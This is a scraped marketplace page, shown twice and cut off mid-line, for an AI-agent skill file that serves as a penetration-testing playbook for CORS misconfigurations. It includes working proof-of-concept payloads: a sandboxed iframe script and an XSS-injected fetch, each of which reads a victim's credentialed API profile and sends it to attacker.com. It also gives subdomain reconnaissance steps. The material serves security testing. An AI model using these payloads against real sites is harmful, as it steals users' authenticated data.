cors-cross-origin-misconfiguration

Name: cors-cross-origin-misconfiguration
Author: Prohao42

91stars8forks

How to install cors-cross-origin-misconfiguration?

prohao42/aimy-skill/cors-cross-origin-misconfiguration

$npx -y skills add Prohao42/aimy-skill --skill cors-cross-origin-misconfiguration

Installs into the current project.

Summary

--- name: cors-cross-origin-misconfiguration description: >- CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs. ---

Files · 1

View on GitHub

SKILL.md

1	# SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors
2
3	> AI LOAD INSTRUCTION: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion [SCENARIOS.md](./SCENARIOS.md).
4
5	### Extended Scenarios
6
7	Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
8	- JSONP hijacking complete attack scenario — watering hole + `<script>` cross-origin data theft
9	- Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
10	- Same-origin policy deep dive — protocol/hostname/port definition, `document.domain` subdomain relaxation and its security risks
11	- CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
12	- CORS exploitation payloads — reflected origin with `credentials: include`, null origin via sandboxed iframe
13	- Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup
14
15	## 1. WHEN TO LOAD THIS SKILL
16
17	Load when:
18
19	- Responses contain `Access-Control-Allow-Origin`, `Access-Control-Allow-Credentials`, or preflight headers
20	- A browser-based attack path might read authenticated API responses
21	- JSON endpoints appear protected from CSRF but are readable cross-origin
22
23	## 2. HIGH-VALUE MISCONFIGURATION CHECKS
24
25	\| Theme \| What to Check \|
26	\|---\|---\|
27	\| wildcard with credentials \| `Access-Control-Allow-Origin: *` plus credential support or equivalent broken behavior \|
28	\| reflected origin \| server echoes arbitrary `Origin` \|
29	\| weak allowlist \| suffix, prefix, substring, regex, or mixed-case matching errors \|
30	\| `null` origin \| acceptance of sandboxed, file, or serialized origins \|
31	\| preflight trust \| overbroad methods and headers \|
32	\| internal API exposure \| admin or tenant data readable cross-origin \|
33
34	## 3. QUICK TRIAGE
35
36	1. Send crafted `Origin` headers and inspect reflection.
37	2. Test with and without credentials.
38	3. Probe allowlist bypasses using attacker subdomains and parser edge cases.
39	4. If readable data is sensitive, chain to account or tenant impact.
40
41	## 4. RELATED ROUTES
42
43	- Session or JSON action abuse: [csrf cross site request forgery](../csrf-cross-site-request-forgery/SKILL.md)
44	- OAuth token leakage and callback binding: [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md)
45	- API auth context: [api auth and jwt abuse](../api-auth-and-jwt-abuse/SKILL.md)
46
47	---
48
49	## 5. NULL ORIGIN EXPLOITATION
50
51	### How `Origin: null` is sent
52
53	\| Context \| Origin Header Value \|
54	\|---------\|-------------------\|
55	\| Sandboxed iframe (`<iframe sandbox>`) \| `null` \|
56	\| `data:` URI scheme \| `null` \|
57	\| `file:` protocol (local HTML) \| `null` \|
58	\| Cross-origin redirect chain (some browsers) \| `null` \|
59	\| Serialized data in `blob:` URL from opaque origin \| `null` \|
60
61	### Exploitation
62
63	If the server includes `null` in its origin allowlist or reflects it:
64
65	```http
66	Access-Control-Allow-Origin: null
67	Access-Control-Allow-Credentials: true
68	```
69
70	```html
71	<iframe sandbox="allow-scripts allow-forms" srcdoc="
72	<script>
73	fetch('https://target.com/api/user/profile', {credentials: 'include'})
74	.then(r => r.json())
75	.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
76	</script>
77	"></iframe>
78	```
79
80	The sandboxed iframe sends `Origin: null` → server reflects `null` → attacker reads credentialed response.
81
82	---
83
84	## 6. SUBDOMAIN XSS → CORS BYPASS CHAIN
85
86	### Attack flow
87
88	```text
89	1. Target API at api.target.com allows CORS from *.target.com
90	2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
91	3. Exploit XSS to make credentialed requests to api.target.com
92	4. CORS allows the request → attacker reads sensitive API responses
93	```
94
95	### PoC (injected via XSS on blog.target.com)
96
97	```javascript
98	fetch('https://api.target.com/v1/user/profile', {
99	credentials: 'include'
100	})
101	.then(r => r.json())
102	.then(data => {
103	navigator.sendBeacon('https://attacker.com/exfil',
104	JSON.stringify(data));
105	});
106	```
107
108	### Why this works
109
110	- `blog.target.com` is same-site with `api.target.com` → `SameSite` cookies sent
111	- CORS allowlist includes `*.target.com` → `Access-Control-Allow-Origin: https://blog.target.com`
112	- Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain
113
114	### Reconnaissance for this chain
115
116	```text
117	□ Enumerate subdomains (amass, subfinder, crt.sh)
118	□ Test each for XSS (stored, reflected, DOM)
119	□ Check if AP

People who liked this also viewed

6 picks

Type

cors-cross-origin-misconfiguration

91stars8forks

View on GitHub

How to install cors-cross-origin-misconfiguration?

prohao42/aimy-skill/cors-cross-origin-misconfiguration

$npx -y skills add Prohao42/aimy-skill --skill cors-cross-origin-misconfiguration

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors
2
3	> AI LOAD INSTRUCTION: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion [SCENARIOS.md](./SCENARIOS.md).
4
5	### Extended Scenarios
6
7	Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
8	- JSONP hijacking complete attack scenario — watering hole + `<script>` cross-origin data theft
9	- Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
10	- Same-origin policy deep dive — protocol/hostname/port definition, `document.domain` subdomain relaxation and its security risks
11	- CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
12	- CORS exploitation payloads — reflected origin with `credentials: include`, null origin via sandboxed iframe
13	- Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup
14
15	## 1. WHEN TO LOAD THIS SKILL
16
17	Load when:
18
19	- Responses contain `Access-Control-Allow-Origin`, `Access-Control-Allow-Credentials`, or preflight headers
20	- A browser-based attack path might read authenticated API responses
21	- JSON endpoints appear protected from CSRF but are readable cross-origin
22
23	## 2. HIGH-VALUE MISCONFIGURATION CHECKS
24
25	\| Theme \| What to Check \|
26	\|---\|---\|
27	\| wildcard with credentials \| `Access-Control-Allow-Origin: *` plus credential support or equivalent broken behavior \|
28	\| reflected origin \| server echoes arbitrary `Origin` \|
29	\| weak allowlist \| suffix, prefix, substring, regex, or mixed-case matching errors \|
30	\| `null` origin \| acceptance of sandboxed, file, or serialized origins \|
31	\| preflight trust \| overbroad methods and headers \|
32	\| internal API exposure \| admin or tenant data readable cross-origin \|
33
34	## 3. QUICK TRIAGE
35
36	1. Send crafted `Origin` headers and inspect reflection.
37	2. Test with and without credentials.
38	3. Probe allowlist bypasses using attacker subdomains and parser edge cases.
39	4. If readable data is sensitive, chain to account or tenant impact.
40
41	## 4. RELATED ROUTES
42
43	- Session or JSON action abuse: [csrf cross site request forgery](../csrf-cross-site-request-forgery/SKILL.md)
44	- OAuth token leakage and callback binding: [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md)
45	- API auth context: [api auth and jwt abuse](../api-auth-and-jwt-abuse/SKILL.md)
46
47	---
48
49	## 5. NULL ORIGIN EXPLOITATION
50
51	### How `Origin: null` is sent
52
53	\| Context \| Origin Header Value \|
54	\|---------\|-------------------\|
55	\| Sandboxed iframe (`<iframe sandbox>`) \| `null` \|
56	\| `data:` URI scheme \| `null` \|
57	\| `file:` protocol (local HTML) \| `null` \|
58	\| Cross-origin redirect chain (some browsers) \| `null` \|
59	\| Serialized data in `blob:` URL from opaque origin \| `null` \|
60
61	### Exploitation
62
63	If the server includes `null` in its origin allowlist or reflects it:
64
65	```http
66	Access-Control-Allow-Origin: null
67	Access-Control-Allow-Credentials: true
68	```
69
70	```html
71	<iframe sandbox="allow-scripts allow-forms" srcdoc="
72	<script>
73	fetch('https://target.com/api/user/profile', {credentials: 'include'})
74	.then(r => r.json())
75	.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
76	</script>
77	"></iframe>
78	```
79
80	The sandboxed iframe sends `Origin: null` → server reflects `null` → attacker reads credentialed response.
81
82	---
83
84	## 6. SUBDOMAIN XSS → CORS BYPASS CHAIN
85
86	### Attack flow
87
88	```text
89	1. Target API at api.target.com allows CORS from *.target.com
90	2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
91	3. Exploit XSS to make credentialed requests to api.target.com
92	4. CORS allows the request → attacker reads sensitive API responses
93	```
94
95	### PoC (injected via XSS on blog.target.com)
96
97	```javascript
98	fetch('https://api.target.com/v1/user/profile', {
99	credentials: 'include'
100	})
101	.then(r => r.json())
102	.then(data => {
103	navigator.sendBeacon('https://attacker.com/exfil',
104	JSON.stringify(data));
105	});
106	```
107
108	### Why this works
109
110	- `blog.target.com` is same-site with `api.target.com` → `SameSite` cookies sent
111	- CORS allowlist includes `*.target.com` → `Access-Control-Allow-Origin: https://blog.target.com`
112	- Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain
113
114	### Reconnaissance for this chain
115
116	```text
117	□ Enumerate subdomains (amass, subfinder, crt.sh)
118	□ Test each for XSS (stored, reflected, DOM)
119	□ Check if AP

People who liked this also viewed

6 picks

Type